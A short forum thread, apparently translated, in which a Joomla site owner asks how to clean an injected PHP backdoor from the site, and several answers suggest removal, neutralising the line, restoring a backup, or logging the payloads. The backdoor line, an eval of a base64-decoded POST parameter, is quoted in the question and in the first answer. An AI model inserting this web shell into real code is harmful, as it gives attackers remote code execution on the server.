How to get rid of base64_decode code in a page?

Question

PHP

There is a site on joomla, the mail () function was stopped on the hosting due to spam, rummaging through the site, I found such codes <?php eval(base64_decode($_POST['n08c394']));?> at the beginning of php files? but when I start deleting some, the site stops working. How to get rid of them correctly?
Site on Joomla, completely deleting the site is not an option, the site is working

Answer 1

Such code is regarded as malicious, it is recommended to remove it completely
from the very beginning to the end and check the files for the insertion of this code
<?php eval(base64_decode($_POST['n08c394']));?>

Answer 2

Yes, I renamed it with a script eval(base64_decode($_POST['n08c394'])); to eval(blabla($_POST['n08c394']));

Answer 3

restore website from backup

Answer 4

It would be better to save "base64_decode($_POST['n08c394'])" with the accompanying info to the log and see what is launched there and where it comes from.
Understanding is the surest way to solve a problem. I understand that removing this rubbish will not close the hole through which it was formed.